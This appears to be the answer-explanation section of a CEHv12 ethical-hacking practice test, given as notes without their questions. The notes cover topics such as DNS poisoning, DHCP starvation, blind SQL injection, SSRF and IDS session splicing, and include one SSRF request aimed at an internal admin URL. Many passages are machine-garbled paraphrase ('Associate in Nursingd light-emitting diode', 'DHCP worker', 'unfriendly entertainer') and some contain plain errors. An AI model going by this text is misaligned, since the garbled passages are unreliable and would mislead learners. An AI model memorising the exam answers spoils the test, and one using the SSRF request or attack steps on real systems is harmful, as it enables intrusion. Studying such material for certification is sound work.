ECCouncil 312-50v12 Certified Ethical Hacker Exam (CEHv12) Exam Practice Test

The Sarbanes-Oxley Act of 2002 could be a law the U.S. Congress passed on July thirty of that year to assist defend investors from fallacious money coverage by companies.Also called the SOX Act of 2002 and also the company Responsibility Act of 2002, it mandated strict reforms to existing securities rules and obligatory powerful new penalties on law breakers.

The Sarbanes-Oxley law Act of 2002 came in response to money scandals within the early 2000s involving in public listed corporations like Enron Corporation, Tyco International plc, and WorldCom. The high-profile frauds cask capitalist confidence within the trustiness of company money statements Associate in Nursingd light-emitting diode several to demand an overhaul of decades-old restrictive standards.

A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.Like other viruses, a stealth virus can take hold of the many parts of one’s PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software. Once moved and renamed a stealth virus will usually replace the detected ‘infected’ file with a clean file that doesn’t trigger anti-virus detection. It’s a never-ending game of cat and mouse.The intelligent architecture of this sort of virus about guarantees it’s impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them.

https://www.techslang.com/definition/what-is-a-stealth-virus/

https://ru.wikipedia.org/wiki/DNS_spoofing

DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic. Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.

- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their chance of success.

- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

Replay Attack could be a variety of security attack to the info sent over a network.In this attack, the hacker or a person with unauthorized access, captures the traffic and sends communication to its original destination, acting because the original sender. The receiver feels that it’s Associate in Nursing genuine message however it’s really the message sent by the aggressor. the most feature of the Replay Attack is that the consumer would receive the message double, thence the name, Replay Attack.

Prevention from Replay Attack : 1. Timestamp technique –Prevention from such attackers is feasible, if timestamp is employed at the side of the info. Supposedly, the timestamp on an information is over a precise limit, it may be discarded, and sender may be asked to send the info once more.2. Session key technique –Another way of hindrance, is by victimisation session key. This key may be used one time (by sender and receiver) per dealing, and can’t be reused.

https://www.eccouncil.org/what-is-social-engineering/

This Social Engineering scam involves an exchange of information that can benefit both the victim and the trickster. Scammers would make the prey believe that a fair exchange will be present between both sides, but in reality, only the fraudster stands to benefit, leaving the victim hanging on to nothing. An example of a Quid Pro Quo is a scammer pretending to be an IT support technician. The con artist asks for the login credentials of the company’s computer saying that the company is going to receive technical support in return. Once the victim has provided the credentials, the scammer now has control over the company’s computer and may possibly load malware or steal personal information that can be a motive to commit identity theft.

"A quid pro quo attack (aka something for something” attack) is a variant of baiting. Instead of baiting a target with the promise of a good, a quid pro quo attack promises a service or a benefit based on the execution of a specific action." https://resources.infosecinstitute.com/topic/common-social-engineering-attacks/#:~:text=A%20quid%20pro%20quo%20attack,execution%20of%20a%20specific%20action .

 DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts

■ HOSTMIB.MIB: Monitors and manages host resources

■ LNMIB2.MIB: Contains object types for workstation and server services

■ MIBJI.MIB: Manages TCP/IP-based Internet using a simple architecture and system

■ WINS.MIB: For the Windows Internet Name Service (WINS)

The AndroidManifest.xml file contains information of your package, including components of the appliance like activities, services, broadcast receivers, content providers etc.It performs another tasks also:• it’s responsible to guard the appliance to access any protected parts by providing the permissions.• It also declares the android api that the appliance goes to use.• It lists the instrumentation classes. The instrumentation classes provides profiling and other informations. These informations are removed just before the appliance is published etc.This is the specified xml file for all the android application and located inside the basis directory.

STP prevents bridging loops in a redundant switched network environment. By avoiding loops, you can ensure that broadcast traffic does not become a traffic storm.

STP is a hierarchical tree-like topology with a “root” switch at the top. A switch is elected as root based on the lowest configured priority of any switch (0 through 65,535). When a switch boots up, it begins a process of identifying other switches and determining the root bridge. After a root bridge is elected, the topology is established from its perspective of the connectivity. The switches determine the path to the root bridge, and all redundant paths are blocked. STP sends configuration and topology change notifications and acknowledgments (TCN/TCA) using bridge protocol data units (BPDU).

An STP attack involves an attacker spoofing the root bridge in the topology. The attacker broadcasts out an STP configuration/topology change BPDU in an attempt to force an STP recalculation. The BPDU sent out announces that the attacker’s system has a lower bridge priority. The attacker can then see a variety of frames forwarded from other switches to it. STP recalculation may also cause a denial-of-service (DoS) condition on the network by causing an interruption of 30 to 45 seconds each time the root bridge changes. An attacker using STP network topology changes to force its host to be elected as the root bridge.

switch

The honey trap is a technique where an attacker targets a person online by pretending to be an attractive person and then begins a fake online relationship to obtain confidential information about the target company. In this technique, the victim is an insider who possesses critical information about the target organization.

Baiting is a technique in which attackers offer end users something alluring in exchange for

important information such as login details and other sensitive data. This technique relies on

the curiosity and greed of the end-users. Attackers perform this technique by leaving a physical

device such as a USB flash drive containing malicious files in locations where people can easily

find them, such as parking lots, elevators, and bathrooms. This physical device is labeled with a

legitimate company's logo, thereby tricking end-users into trusting it and opening it on their

systems. Once the victim connects and opens the device, a malicious file downloads. It infects

the system and allows the attacker to take control.

For example, an attacker leaves some bait in the form of a USB drive in the elevator with the

label "Employee Salary Information 2019" and a legitimate company's logo. Out of curiosity and

greed, the victim picks up the device and opens it up on their system, which downloads the

bait. Once the bait is downloaded, a piece of malicious software installs on the victim's system,

giving the attacker access.

In a session donation attack, the attacker donates their own session ID to the target user. In this

attack, the attacker first obtains a valid session ID by logging into a service and later feeds the same session ID to the target user. This session ID links a target user to the attacker's account page without disclosing any information to the victim. When the target user clicks on the link and enters the details (username, password, payment details, etc.) in a form, the entered

details are linked to the attacker's account. To initiate this attack, the attacker can send their

session ID using techniques such as cross-site cooking, an MITM attack, and session fixation. A

session donation attack involves the following steps.

“Boolean based” we mean that it is based on Boolean values, that is, true or false / true and false. AND Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Boolean-based (content-based) Blind SQLi

Boolean-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the application to return a different result depending on whether the query returns a TRUE or FALSE result.

Depending on the result, the content within the HTTP response will change, or remain the same. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database, character by character.

Time-based Blind SQLi

Time-based SQL Injection is an inferential SQL Injection technique that relies on sending an SQL query to the database which forces the database to wait for a specified amount of time (in seconds) before responding. The response time will indicate to the attacker whether the result of the query is TRUE or FALSE.

Depending on the result, an HTTP response will be returned with a delay, or returned immediately. This allows an attacker to infer if the payload used returned true or false, even though no data from the database is returned. This attack is typically slow (especially on large databases) since an attacker would need to enumerate a database character by character.

https://www.acunetix.com/websitesecurity/sql-injection2/

https://www.darknet.org.uk/2017/07/bluto-dns-recon-zone-transfer-brute-forcer/

"Attackers also use DNS lookup tools such as DNSdumpster.com, Bluto, and Domain Dossier to retrieve DNS records for a specified domain or hostname. These tools retrieve information such as domains and IP addresses, domain Whois records, DNS records, and network Whois records." CEH Module 02 Page 138

aLTEr attacks are usually performed on LTE devices Attacker installs a virtual (fake) communication tower between two authentic endpoints intending to mislead the victim This virtual tower is used to interrupt the data transmission between the user and real tower attempting to hijack the active session.

https://alter-attack.net/media/breaking_lte_on_layer_two.pdf

The new aLTEr attack can be used against nearly all LTE connected endpoints by intercepting traffic and redirecting it to malicious websites together with a particular approach for Apple iOS devices.

This attack works by taking advantage of a style flaw among the LTE network — the information link layer (aka: layer-2) of the LTE network is encrypted with AES-CTR however it’s not integrity-protected, that is why an offender will modify the payload.

As a result, the offender is acting a classic man-in-the-middle wherever they’re movement as a cell tower to the victim.

Diagram Description automatically generated

In an inference-based assessment, scanning starts by building an inventory of the protocols found on the machine. After finding a protocol, the scanning process starts to detect which ports are attached to services, such as an email server, web server, or database server. After finding services, it selects vulnerabilities on each machine and starts to execute only those relevant tests.

The File Transfer Protocol (FTP) is a standard organization convention utilized for the exchange of PC records from a worker to a customer on a PC organization. FTP is based on a customer worker model engineering utilizing separate control and information associations between the customer and the server.[1] FTP clients may validate themselves with an unmistakable book sign-in convention, ordinarily as a username and secret key, however can interface namelessly if the worker is designed to permit it. For secure transmission that ensures the username and secret phrase, and scrambles the substance, FTP is frequently made sure about with SSL/TLS (FTPS) or supplanted with SSH File Transfer Protocol (SFTP).

The primary FTP customer applications were order line programs created prior to working frameworks had graphical UIs, are as yet dispatched with most Windows, Unix, and Linux working systems.[2][3] Many FTP customers and mechanization utilities have since been created for working areas, workers, cell phones, and equipment, and FTP has been fused into profitability applications, for example, HTML editors.

The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security controls.

formal declaration by a designated accrediting authority (DAA) or principal accrediting authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical, managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this concept, and it is called authorization.

Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter.

For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary. Rationale: The Risk Management Framework uses a new term to refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization boundary.

A DHCP starvation assault is a pernicious computerized assault that objectives DHCP workers. During a DHCP assault, an unfriendly entertainer floods a DHCP worker with false DISCOVER bundles until the DHCP worker debilitates its stock of IP addresses. When that occurs, the aggressor can deny genuine organization clients administration, or even stock an other DHCP association that prompts a Man-in-the-Middle (MITM) assault.

In a DHCP Starvation assault, a threatening entertainer sends a huge load of false DISCOVER parcels until the DHCP worker thinks they’ve used their accessible pool. Customers searching for IP tends to find that there are no IP addresses for them, and they’re refused assistance. Furthermore, they may search for an alternate DHCP worker, one which the unfriendly entertainer may give. What’s more, utilizing a threatening or sham IP address, that unfriendly entertainer would now be able to peruse all the traffic that customer sends and gets.

In an unfriendly climate, where we have a malevolent machine running some sort of an instrument like Yersinia, there could be a machine that sends DHCP DISCOVER bundles. This malevolent customer doesn’t send a modest bunch – it sends a great many vindictive DISCOVER bundles utilizing sham, made-up MAC addresses as the source MAC address for each solicitation.

In the event that the DHCP worker reacts to every one of these false DHCP DISCOVER parcels, the whole IP address pool could be exhausted, and that DHCP worker could trust it has no more IP delivers to bring to the table to legitimate DHCP demands.

When a DHCP worker has no more IP delivers to bring to the table, ordinarily the following thing to happen would be for the aggressor to get their own DHCP worker. This maverick DHCP worker at that point starts giving out IP addresses.

The advantage of that to the assailant is that if a false DHCP worker is distributing IP addresses, including default DNS and door data, customers who utilize those IP delivers and begin to utilize that default passage would now be able to be directed through the aggressor’s machine. That is all that an unfriendly entertainer requires to play out a man-in-the-center (MITM) assault.

Web Server Attacks - DNS Server Hijacking Attacker compromises the DNS server and changes the DNS settings so that all the requests coming towards the target web server are redirected to his/her own malicious server. (P.1623/1607)

https://en.wikipedia.org/wiki/Public-key_cryptography

Public-key cryptography, or asymmetric cryptography, is a cryptographic system that uses pairs of keys: public keys (which may be known to others), and private keys (which may never be known by any except the owner). The generation of such key pairs depends on cryptographic algorithms which are based on mathematical problems termed one-way functions. Effective security requires keeping the private key private; the public key can be openly distributed without compromising security.

In such a system, any person can encrypt a message using the intended receiver's public key, but that encrypted message can only be decrypted with the receiver's private key. This allows, for instance, a server program to generate a cryptographic key intended for a suitable symmetric-key cryptography, then to use a client's openly-shared public key to encrypt that newly generated symmetric key. The server can then send this encrypted symmetric key over an insecure channel to the client; only the client can decrypt it using the client's private key (which pairs with the public key used by the server to encrypt the message). With the client and server both having the same symmetric key, they can safely use symmetric key encryption (likely much faster) to communicate over otherwise-insecure channels. This scheme has the advantage of not having to manually pre-share symmetric keys (a fundamentally difficult problem) while gaining the higher data throughput advantage of symmetric-key cryptography.

With public-key cryptography, robust authentication is also possible. A sender can combine a message with a private key to create a short digital signature on the message. Anyone with the sender's corresponding public key can combine that message with a claimed digital signature; if the signature matches the message, the origin of the message is verified (i.e., it must have been made by the owner of the corresponding private key).

Public key algorithms are fundamental security primitives in modern cryptosystems, including applications and protocols which offer assurance of the confidentiality, authenticity and non-repudiability of electronic communications and data storage. They underpin numerous Internet standards, such as Transport Layer Security (TLS), S/MIME, PGP, and GPG. Some public key algorithms provide key distribution and secrecy (e.g., Diffie–Hellman key exchange), some provide digital signatures (e.g., Digital Signature Algorithm), and some provide both (e.g., RSA). Compared to symmetric encryption, asymmetric encryption is rather slower than good symmetric encryption, too slow for many purposes. Today's cryptosystems (such as TLS, Secure Shell) use both symmetric encryption and asymmetric encryption.

The php.ini file may be a special file for PHP. it’s where you declare changes to your PHP settings. The server is already configured with standard settings for PHP, which your site will use by default. Unless you would like to vary one or more settings, there’s no got to create or modify a php.ini file. If you’d wish to make any changes to settings, please do so through the MultiPHP INI Editor.

Infoga may be a tool gathering email accounts informations (ip,hostname,country,…) from completely different public supply (search engines, pgp key servers and shodan) and check if email was leaked using haveibeenpwned.com API. is a really simple tool, however very effective for the first stages of a penetration test or just to know the visibility of your company within the net.

Zigbee could be a wireless technology developed as associate open international normal to deal with the unique desires of affordable, low-power wireless IoT networks. The Zigbee normal operates on the IEEE 802.15.4 physical radio specification and operates in unauthorised bands as well as a pair of.4 GHz, 900 MHz and 868 MHz.

The 802.15.4 specification upon that the Zigbee stack operates gained confirmation by the Institute of Electrical and physical science Engineers (IEEE) in 2003. The specification could be a packet-based radio protocol supposed for affordable, battery-operated devices. The protocol permits devices to speak in an exceedingly kind of network topologies and may have battery life lasting many years.

The Zigbee three.0 Protocol

The Zigbee protocol has been created and ratified by member corporations of the Zigbee Alliance.Over three hundred leading semiconductor makers, technology corporations, OEMs and repair corporations comprise the Zigbee Alliance membership. The Zigbee protocol was designed to supply associate easy-to-use wireless information answer characterised by secure, reliable wireless network architectures.

THE ZIGBEE ADVANTAGE

The Zigbee 3.0 protocol is intended to speak information through rip-roaring RF environments that area unit common in business and industrial applications. Version 3.0 builds on the prevailing Zigbee normal however unifies the market-specific application profiles to permit all devices to be wirelessly connected within the same network, no matter their market designation and performance. what is more, a Zigbee 3.0 certification theme ensures the ability of product from completely different makers. Connecting Zigbee three.0 networks to the information science domain unveil observance and management from devices like smartphones and tablets on a local area network or WAN, as well as the web, and brings verity net of Things to fruition.

Zigbee protocol options include:

• Support for multiple network topologies like point-to-point, point-to-multipoint and mesh networks
• Low duty cycle – provides long battery life
• Low latency
• Direct Sequence unfold Spectrum (DSSS)
• Up to 65,000 nodes per network
• 128-bit AES encryption for secure information connections
• Collision avoidance, retries and acknowledgements

This is another short-range communication protocol based on the IEEE 203.15.4 standard. Zig-Bee is used in devices that transfer data infrequently at a low rate in a restricted area and within a range of 10–100 m.

One of the most common Nmap usage scenarios is scanning an Ethernet LAN. Most LANs, especially those that use the private address range granted by RFC 1918, do not always use the overwhelming majority of IP addresses. When Nmap attempts to send a raw IP packet, such as an ICMP echo request, the OS must determine a destination hardware (ARP) address, such as the target IP, so that the Ethernet frame can be properly addressed. .. This is required to issue a series of ARP requests. This is best illustrated by an example where a ping scan is attempted against an Area Ethernet host. The –send-ip option tells Nmap to send IP-level packets (rather than raw Ethernet), even on area networks. The Wireshark output of the three ARP requests and their timing have been pasted into the session.

Raw IP ping scan example for offline targetsThis example took quite a couple of seconds to finish because the (Linux) OS sent three ARP requests at 1 second intervals before abandoning the host. Waiting for a few seconds is excessive, as long as the ARP response usually arrives within a few milliseconds. Reducing this timeout period is not a priority for OS vendors, as the overwhelming majority of packets are sent to the host that actually exists. Nmap, on the other hand, needs to send packets to 16 million IP s given a target like 10.0.0.0/8. Many targets are pinged in parallel, but waiting 2 seconds each is very delayed.

There is another problem with raw IP ping scans on the LAN. If the destination host turns out to be unresponsive, as in the previous example, the source host usually adds an incomplete entry for that destination IP to the kernel ARP table. ARP tablespaces are finite and some operating systems become unresponsive when full. If Nmap is used in rawIP mode (–send-ip), Nmap may have to wait a few minutes for the ARP cache entry to expire before continuing host discovery.

ARP scans solve both problems by giving Nmap the highest priority. Nmap issues raw ARP requests and handles retransmissions and timeout periods in its sole discretion. The system ARP cache is bypassed. The example shows the difference. This ARP scan takes just over a tenth of the time it takes for an equivalent IP.

Example b ARP ping scan of offline target

In example b, neither the -PR option nor the -send-eth option has any effect. This is often because ARP has a default scan type on the Area Ethernet network when scanning Ethernet hosts that Nmap discovers. This includes traditional wired Ethernet as 802.11 wireless networks. As mentioned above, ARP scanning is not only more efficient, but also more accurate. Hosts frequently block IP-based ping packets, but usually cannot block ARP requests or responses and communicate over the network.Nmap uses ARP instead of all targets on equivalent targets, even if different ping types (such as -PE and -PS) are specified. LAN.. If you do not need to attempt an ARP scan at all, specify –send-ip as shown in Example a “Raw IP Ping Scan for Offline Targets”.

If you give Nmap control to send raw Ethernet frames, Nmap can also adjust the source MAC address. If you have the only PowerBook in your security conference room and a large ARP scan is initiated from an Apple-registered MAC address, your head may turn to you. Use the –spoof-mac option to spoof the MAC address as described in the MAC Address Spoofing section.

https://search.arin.net/rdap/?query=199.43.0.43

PKI uses public-key cryptography, which is widely used on the Internet to encrypt messages or

authenticate message senders. In public-key cryptography, a CA generates public and private

keys with the same algorithm simultaneously. The private key is held only by the subject (user,

company, or system) mentioned in the certificate, while the public key is made publicly available

in a directory that all parties can access. The subject keeps the private key secret and uses it to

decrypt the text encrypted by someone else using the corresponding public key (available in a

public directory). Thus, others encrypt messages for the user with the user's public key, and the user decrypts it with his/her private key.

The purpose of this idea is to permit multiple customers to figure on joint projects and applications that belong to the community, where it’s necessary to possess a centralized clouds infrastructure. In other words, Community Cloud may be a distributed infrastructure that solves the precise problems with business sectors by integrating the services provided by differing types of clouds solutions.

The communities involved in these projects, like tenders, business organizations, and research companies, specialise in similar issues in their cloud interactions. Their shared interests may include concepts and policies associated with security and compliance considerations, and therefore the goals of the project also .

Community Cloud computing facilitates its users to spot and analyze their business demands better. Community Clouds could also be hosted during a data center, owned by one among the tenants, or by a third-party cloud services provider and may be either on-site or off-site.

Community Cloud Examples and Use CasesCloud providers have developed Community Cloud offerings, and a few organizations are already seeing the advantages . the subsequent list shows a number of the most scenarios of the Community Cloud model that’s beneficial to the participating organizations.

• Multiple governmental departments that perform transactions with each other can have their processing systems on shared infrastructure. This setup makes it cost-effective to the tenants, and may also reduce their data traffic.

Benefits of Community CloudsCommunity Cloud provides benefits to organizations within the community, individually also as collectively. Organizations don’t need to worry about the safety concerns linked with Public Cloud due to the closed user group.

This recent cloud computing model has great potential for businesses seeking cost-effective cloud services to collaborate on joint projects, because it comes with multiple advantages.

Openness and ImpartialityCommunity Clouds are open systems, and that they remove the dependency organizations wear cloud service providers. Organizations are able to do many benefits while avoiding the disadvantages of both public and personal clouds.

• Ensures compatibility among each of its users, allowing them to switch properties consistent with their individual use cases. They also enable companies to interact with their remote employees and support the utilization of various devices, be it a smartphone or a tablet. This makes this sort of cloud solution more flexible to users’ demands.
• Consists of a community of users and, as such, is scalable in several aspects like hardware resources, services, and manpower. It takes under consideration demand growth, and you simply need to increase the user-base.

Flexibility and ScalabilityHigh Availability and ReliabilityYour cloud service must be ready to make sure the availability of knowledge and applications in the least times. Community Clouds secure your data within the same way as the other cloud service, by replicating data and applications in multiple secure locations to guard them from unforeseen circumstances.

Cloud possesses redundant infrastructure to form sure data is out there whenever and wherever you would like it. High availability and reliability are critical concerns for any sort of cloud solution.

Security and ComplianceTwo significant concerns discussed when organizations believe cloud computing are data security and compliance with relevant regulatory authorities. Compromising each other’s data security isn’t profitable to anyone during a Community Cloud.

• the power to dam users from editing and downloading specific datasets.
• Making sensitive data subject to strict regulations on who has access to Sharing sensitive data unique to a specific organization would bring harm to all or any the members involved.
• What devices can store sensitive data.

Users can configure various levels of security for his or her data. Common use cases:Convenience and ControlConflicts associated with convenience and control don’t arise during a Community Cloud. Democracy may be a crucial factor the Community Cloud offers as all tenants share and own the infrastructure and make decisions collaboratively. This setup allows organizations to possess their data closer to them while avoiding the complexities of a personal Cloud.

Less Work for the IT DepartmentHaving data, applications, and systems within the cloud means you are doing not need to manage them entirely. This convenience eliminates the necessity for tenants to use extra human resources to manage the system. Even during a self-managed solution, the work is split among the participating organizations.

Environment SustainabilityIn the Community Cloud, organizations use one platform for all their needs, which dissuades them from investing in separate cloud facilities. This shift introduces a symbiotic relationship between broadening and shrinking the utilization of cloud among clients. With the reduction of organizations using different clouds, resources are used more efficiently, thus resulting in a smaller carbon footprint.

Server-side request forgery (also called SSRF) is a net security vulnerability that allows an assaulter to induce the server-side application to make http requests to associate arbitrary domain of the attacker’s choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services among the organization’s infrastructure, or to external third-party systems.

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with different back-end systems that aren’t directly reachable by users. These systems typically have non-routable private informatics addresses. Since the back-end systems normally ordinarily protected by the topology, they typically have a weaker security posture. In several cases, internal back-end systems contain sensitive functionality that may be accessed while not authentication by anyone who is able to act with the systems.

In the preceding example, suppose there’s an body interface at the back-end url https://192.168.0.68/admin. Here, an attacker will exploit the SSRF vulnerability to access the executive interface by submitting the following request:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

stockApi=http://192.168.0.68/admin

The SSID (service set identifier) is the name of your wireless network. SSID broadcast is how your router transmits this name to surrounding devices. Its primary function is to make your network visible and easily accessible. Most routers broadcast their SSIDs automatically. To disable or enable SSID broadcast, you need to change your router’s settings.

Disabling SSID broadcast will make your Wi-FI network name invisible to other users. However, this only hides the name, not the network itself. You cannot disguise the router's activity, so hackers can still attack it.

With your network invisible to wireless devices, connecting becomes a bit more complicated. Just giving a Wi-FI password to your guests is no longer enough. They have to configure their settings manually by including the network name, security mode, and other relevant info.

Disabling SSID might be a small step towards online security, but by no means should it be your final one. Before considering it as a security measure, consider the following aspects:

- Disabling SSID broadcast will not hide your network completely

Disabling SSID broadcast only hides the network name, not the fact that it exists. Your router constantly transmits so-called beacon frames to announce the presence of a wireless network. They contain essential information about the network and help the device connect.

- Third-party software can easily trace a hidden network

Programs such as NetStumbler or Kismet can easily locate hidden networks. You can try using them yourself to see how easy it is to find available networks – hidden or not.

- You might attract unwanted attention.

Disabling your SSID broadcast could also raise suspicion. Most of us assume that when somebody hides something, they have a reason to do so. Thus, some hackers might be attracted to your network.

https://en.wikipedia.org/wiki/Phishing

Phishing is a type of social engineering attack often used to steal user data, including login credentials and credit card numbers. It occurs when an attacker, masquerading as a trusted entity, dupes a victim into opening an email, instant message, or text message. The recipient is then tricked into clicking a malicious link, which can lead to the installation of malware, the freezing of the system as part of a ransomware attack, or the revealing of sensitive information.

An attack can have devastating results. For individuals, this includes unauthorized purchases, the stealing of funds, or identify theft.

Moreover, phishing is often used to gain a foothold in corporate or governmental networks as a part of a larger attack, such as an advanced persistent threat (APT) event. In this latter scenario, employees are compromised in order to bypass security perimeters, distribute malware inside a closed environment, or gain privileged access to secured data.

An organization succumbing to such an attack typically sustains severe financial losses in addition to declining market share, reputation, and consumer trust. Depending on the scope, a phishing attempt might escalate into a security incident from which a business will have a difficult time recovering.

Agent-based scanners reside on a single machine but can scan several machines on the same network.

Network-based scanner

A network-based vulnerability scanner, in simplistic terms, is the process of identifying loopholes on a computer’s network or IT assets, which hackers and threat actors can exploit. By implementing this process, one can successfully identify their organization’s current risk(s). This is not where the buck stops; one can also verify the effectiveness of your system's security measures while improving internal and external defenses. Through this review, an organization is well equipped to take an extensive inventory of all systems, including operating systems, installed software, security patches, hardware, firewalls, anti-virus software, and much more.

Agent-based scanner

Agent-based scanners make use of software scanners on each and every device; the results of the scans are reported back to the central server. Such scanners are well equipped to find and report out on a range of vulnerabilities.

NOTE: This option is not suitable for us, since for it to work, you need to install a special agent on each computer before you start collecting data from them.

«Many IDS reassemble communication streams; hence, if a packet is not received within a reasonable period, many IDS stop reassembling and handling that stream. If the application under attack keeps a session active for a longer time than that spent by the IDS on reassembling it, the IDS will stop. As a result, any session after the IDS stops reassembling the sessions will be susceptible to malicious data theft by attackers. The IDS will not log any attack attempt after a successful splicing attack. Attackers can use tools such as Nessus for session splicing attacks.»

Did you know that the EC-Council exam shows how well you know their official book? So, there is no "Whisker" in it. In the chapter "Evading IDS" -> "Session Splicing", the recommended tool for performing a session-splicing attack is Nessus. Where Wisker came from is not entirely clear, but I will assume the author of the question found it while copying Wikipedia.

https://en.wikipedia.org/wiki/Intrusion_detection_system_evasion_techniques

One basic technique is to split the attack payload into multiple small packets so that the IDS must reassemble the packet stream to detect the attack. A simple way of splitting packets is by fragmenting them, but an adversary can also simply craft packets with small payloads. The 'whisker' evasion tool calls crafting packets with small payloads 'session splicing'.

By itself, small packets will not evade any IDS that reassembles packet streams. However, small packets can be further modified in order to complicate reassembly and detection. One evasion technique is to pause between sending parts of the attack, hoping that the IDS will time out before the target computer does. A second evasion technique is to send the packets out of order, confusing simple packet re-assemblers but not the target computer.

NOTE: Yes, I found scraps of information about the tool that existed in 2012, but I can not give you unverified information. According to the official tutorials, the correct answer is Nessus, but if you know anything about Wisker, please write in the QA section. Maybe this question will be updated soon, but I'm not sure about that.

https://en.wikipedia.org/wiki/Sniffing_attack

To prevent networks from sniffing attacks, organizations and individual users should keep away from applications using insecure protocols, like basic HTTP authentication, File Transfer Protocol (FTP), and Telnet. Instead, secure protocols such as HTTPS, Secure File Transfer Protocol (SFTP), and Secure Shell (SSH) should be preferred. In case there is a necessity for using any insecure protocol in any application, all the data transmission should be encrypted. If required, VPN (Virtual Private Networks) can be used to provide secure access to users.

NOTE: I want to note that the wording "best option" is valid only for the EC-Council's exam since the other options will not help against sniffing or will only help from some specific attack vectors.

The sniffing attack surface is huge. To protect against it, you will need to implement a complex of measures at all levels of abstraction and apply controls at the physical, administrative, and technical levels. However, encryption is indeed the best option of all, even if your data is intercepted - an attacker cannot understand it.

Many network and system administrators don't pay enough attention to system clock accuracy and time synchronization. Computer clocks can run faster or slower over time, batteries and power sources die, or daylight-saving time changes are forgotten. Sure, there are many more pressing security issues to deal with, but not ensuring that the time on network devices is synchronized can cause problems. And these problems often only come to light after a security incident.

If you suspect a hacker is accessing your network, for example, you will want to analyze your log files to look for any suspicious activity. If your network's security devices do not have synchronized times, the timestamps' inaccuracy makes it impossible to correlate log files from different sources. Not only will you have difficulty in tracking events, but you will also find it difficult to use such evidence in court; you won't be able to illustrate a smooth progression of events as they occurred throughout your network.

https://en.wikipedia.org/wiki/IPsec

Internet Protocol Security (IPsec) is a secure network protocol suite that authenticates and encrypts the packets of data to provide secure encrypted communication between two computers over an Internet Protocol network. It is used in virtual private networks (VPNs).

IPsec includes protocols for establishing mutual authentication between agents at the beginning of a session and negotiation of cryptographic keys to use during the session. IPsec can protect data flows between a pair of hosts (host-to-host), between a pair of security gateways (network-to-network), or between a security gateway and a host (network-to-host). IPsec uses cryptographic security services to protect communications over Internet Protocol (IP) networks. It supports network-level peer authentication, data-origin authentication, data integrity, data confidentiality (encryption), and replay protection.

The initial IPv4 suite was developed with few security provisions. As a part of the IPv4 enhancement, IPsec is a layer 3 OSI model or internet layer end-to-end security scheme. In contrast, while some other Internet security systems in widespread use operate above layer 3, such as Transport Layer Security (TLS) that operates at the Transport Layer and Secure Shell (SSH) that operates at the Application layer, IPsec can automatically secure applications at the IP layer.

https://nmap.org/book/man-output.html

-oX - Requests that XML output be directed to the given filename.

https://tools.kali.org/information-gathering/hping3

http://www.carnal0wnage.com/papers/LSO-Hping2-Basics.pdf

The Domain Name System Security Extensions (DNSSEC) is a suite of Internet Engineering Task Force (IETF) specifications for securing certain kinds of information provided by DNS for use on IP networks. DNSSEC is a set of extensions to DNS provide to DNS clients (resolvers) origin authentication of DNS data, authenticated denial of existence, and data integrity, but not availability or confidentiality. DNSSEC is necessary because the original DNS design did not include security but was designed to be a scalable distributed system. DNSSEC adds security while maintaining backward compatibility.

Social engineering is the term used for a broad range of malicious activities accomplished through human interactions. It uses psychological manipulation to trick users into making security mistakes or giving away sensitive information.

Social engineering attacks typically involve some form of psychological manipulation, fooling otherwise unsuspecting users or employees into handing over confidential or sensitive data. Commonly, social engineering involves email or other communication that invokes urgency, fear, or similar emotions in the victim, leading the victim to promptly reveal sensitive information, click a malicious link, or open a malicious file. Because social engineering involves a human element, preventing these attacks can be tricky for enterprises.

https://en.wikipedia.org/wiki/Presentation_layer

In the seven-layer OSI model of computer networking, the presentation layer is layer 6 and serves as the data translator for the network. It is sometimes called the syntax layer. The presentation layer is responsible for the formatting and delivery of information to the application layer for further processing or display.

Encryption is typically done at this level too, although it can be done on the application, session, transport, or network layers, each having its own advantages and disadvantages. Decryption is also handled at the presentation layer. For example, when logging on to bank account sites the presentation layer will decrypt the data as it is received.

True Positive - IDS referring a behavior as an attack, in real life it is

